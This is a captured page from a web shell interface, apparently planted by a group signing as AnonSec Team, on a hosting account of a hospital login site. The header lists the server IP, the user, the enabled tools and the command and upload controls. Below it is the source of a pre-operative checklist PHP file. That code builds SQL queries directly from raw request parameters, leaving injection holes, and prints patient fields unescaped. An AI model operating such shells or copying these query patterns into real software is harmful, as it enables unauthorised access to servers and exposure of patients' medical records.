Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.14.141.115
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in//edit_showpage_Postoperative_Confirmation_Sheet.php
  <?php session_start();
require_once('../DBManager.php');
require_once('../LoginManager.php');
include "header.php";
include "dashboarddocument.php";
include('dbconnection.php');
if(isset($_POST['signup'])) 
{
 

$sql ="UPDATE post_Confirmation_Sheet SET verify_pt_identity='$_POST[verify_pt_identity]',name_tag='$_POST[name_tag]',consent_form_signed='$_POST[consent_form_signed]',Operation_consent='$_POST[Operation_consent]',operative_assessment='$_POST[operative_assessment]',Medical_fitness='$_POST[Medical_fitness]',Last_meal='$_POST[Last_meal]',Allergy_noted='$_POST[Allergy_noted]',	reports_checked='$_POST[reports_checked]'  WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
if($qsql = mysqli_query($con,$sql))
		{

    echo "<script>alert('Update successfully');</script><script>window.history.go(-2)</script>;</script>";
  } 
  else {
    echo "Sorry, there was an error uploading your file.";

  }
}
?>


 <div class='content-wrapper'>
    <!-- Content Header (Page header) -->
    <section class='content-header'>
<!DOCTYPE html>
<html lang='en'>
<head>
  <meta charset='UTF-8'>
<meta name='viewport' content='width=device-width, initial-scale=1'>


<style>
.center {
   border: 1px solid grey;
   text-align:;
}

</style>

 <style>
.switch {
  position: relative;
  display: inline-block;
  width: 90px;
  height: 34px;
}

.switch input {display:none;}

.slider {
  position: absolute;
  cursor: pointer;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  background-color: #ca2222;
  -webkit-transition: .4s;
  transition: .4s;
   border-radius: 34px;
}

.slider:before {
  position: absolute;
  content: "";
  height: 26px;
  width: 26px;
  left: 4px;
  bottom: 4px;
  background-color: white;
  -webkit-transition: .4s;
  transition: .4s;
  border-radius: 50%;
}

input:checked + .slider {
  background-color: #2ab934;
}

input:focus + .slider {
  box-shadow: 0 0 1px #2196F3;
}

input:checked + .slider:before {
  -webkit-transform: translateX(26px);
  -ms-transform: translateX(26px);
  transform: translateX(55px);
}

/*------ ADDED CSS ---------*/
.slider:after
{
 content:'No';
 color: white;
 display: block;
 position: absolute;
 transform: translate(-50%,-50%);
 top: 50%;
 left: 50%;
 font-size: 10px;
 font-family: Verdana, sans-serif;
}

input:checked + .slider:after
{  
  content:'Yes';
}



.center {
   border: 1px solid grey;
   text-align:;
}

</style>
</head>
  
 <?php 

		$sql ="SELECT * FROM patient WHERE patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		    echo "
    <div class='center'>
    <table id='example2' class='table table-bordered table-hover' width='100%'>
<h3 align='center'>PRE-OPERATIVE CHECKLIST AT OT
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Pt. Name: </td>
<td width='50%'>$rs[patientname]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  W/O,D/O,S/O. :  </td>
<td width='50%'>$rs[HusbandName]</td>
</tr>
<tr>
<td width='50%'> &nbsp;  &nbsp; &nbsp; &nbsp; DOB:  </td>
<td width='50%'>$rs[dob]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Sex : </td>
<td width='50%'>$rs[gendor]</td>
</tr>
";
	  echo "</td></tr>";	}
		?>
 <form name='signup' method='POST'>
                  <p>
               <table id='example2' class='table table-bordered table-hover'> 
                  	<?php
$sql ="SELECT * FROM post_Confirmation_Sheet WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]'";
$qsql = mysqli_query($con,$sql);
while($rs = mysqli_fetch_array($qsql))
{
if($rs[verify_pt_identity]=='on')
{
    echo"
     <tr><td width='50%'>Verify the identity of patient </td>
    <td width='50%'><label class='switch'>   <input name='verify_pt_identity' type='checkbox' checked>   <span class='slider'></span> </label></td></tr>
    ";
}
else{
     echo"
     <tr><td width='50%'>Verify the identity of patient </td>
    <td width='50%'><label class='switch'>   <input name='verify_pt_identity' type='checkbox'>   <span class='slider'></span> </label></i></td></tr>
    "; 
}

if($rs[name_tag]=='on')
{
    echo"
     <tr><td width='50%'>Name and tag in  position & correct </td>
    <td width='50%'><label class='switch'>   <input name='name_tag' type='checkbox' checked>   <span class='slider'></span> </label></td></tr>
    ";
}



if($rs[consent_form_signed]=='on')
{
    echo"
     <tr><td width='50%'>Operation consent form signed & present in file  </td>
    <td width='50%'><label class='switch'>   <input name='consent_form_signed' type='checkbox' checked>   <span class='slider'></span> </label></td></tr>
    ";
}
else{
     echo"
     <tr><td width='50%'>Operation consent form signed & present in file </td>
    <td width='50%'><label class='switch'>   <input name='consent_form_signed' type='checkbox'>   <span class='slider'></span> </label></i></td></tr>
    "; 
}

if($rs[Operation_consent]=='on')
{
    echo"
     <tr><td width='50%'>Operation consent form signed patient & relative present  </td>
    <td width='50%'><label class='switch'>   <input name='Operation_consent' type='checkbox' checked>   <span class='slider'></span> </label></td></tr>
    ";
}
else{
     echo"
     <tr><td width='50%'>Operation consent form signed patient & relative present  </td>
    <td width='50%'><label class='switch'>   <input name='Operation_consent' type='checkbox'>   <span class='slider'></span> </label></td></tr>
    "; 
}
if($rs[operative_assessment]=='on')
{
    echo"
     <tr><td width='50%'>Nursing Instruction sheet Attached </td>
    <td width='50%'><label class='switch'>   <input name='Operation_consent' type='checkbox' checked>   <span class='slider'></span> </label></td></tr>
    ";
}
else{
     echo"
     <tr><td width='50%'>Nursing Instruction sheet Attached   </td>
    <td width='50%'><label class='switch'>   <input name='Operation_consent' type='checkbox'>   <span class='slider'></span> </label></td></tr>
    "; 
}
if($rs[Medical_fitness]=='on')
{
    echo"
     <tr><td width='50%'>Lab investigation attached</td>
    <td width='50%'><label class='switch'>   <input name='Medical_fitness' type='checkbox'  checked>   <span class='slider'></span> </label></td></tr>
    ";
}
else{
     echo"
     <tr><td width='50%'>Lab investigation attached  </td>
    <td width='50%'><label class='switch'>   <input name='Medical_fitness' type='checkbox'  >   <span class='slider'></span> </label></td></tr>
    "; 
}
if($rs[Last_meal]=='on')
{
    echo"
     <tr><td width='50%'>General systematic examination done</td>
    <td width='50%'><label class='switch'>   <input name='Last_meal' type='checkbox'  checked>   <span class='slider'></span> </label></td></tr>
    ";
}
else{
     echo"
     <tr><td width='50%'>General systematic examination done </td>
    <td width='50%'><label class='switch'>   <input name='Last_meal' type='checkbox'  >   <span class='slider'></span> </label></td></tr>
    "; 
}

if($rs[Allergy_noted]=='on')
{
    echo"
     <tr><td width='50%'>General systematic examination done</td>
    <td width='50%'><label class='switch'>   <input name='Allergy_noted' type='checkbox'  checked>   <span class='slider'></span> </label></td></tr>
    ";
}
else{
     echo"
     <tr><td width='50%'>General systematic examination done </td>
    <td width='50%'><label class='switch'>   <input name='Allergy_noted' type='checkbox'  >   <span class='slider'></span> </label></td></tr>
    "; 
}


if($rs[reports_checked]=='on')
{
    echo"
     <tr><td width='50%'>All reports checked</td>
    <td width='50%'><label class='switch'>   <input name='verify_pt_identity' type='checkbox' checked>   <span class='slider'></span> </label></td></tr>
    ";
}
else{
     echo"
     <tr><td width='50%'>All reports checked</td>
    <td width='50%'><label class='switch'>   <input name='verify_pt_identity' type='checkbox'>   <span class='slider'></span> </label></i></td></tr>
    "; 
}

}
?>

</table>
<input type='submit' name='signup' value='Update'>
</form>


</div>

Anon7 - 2022
AnonSec Team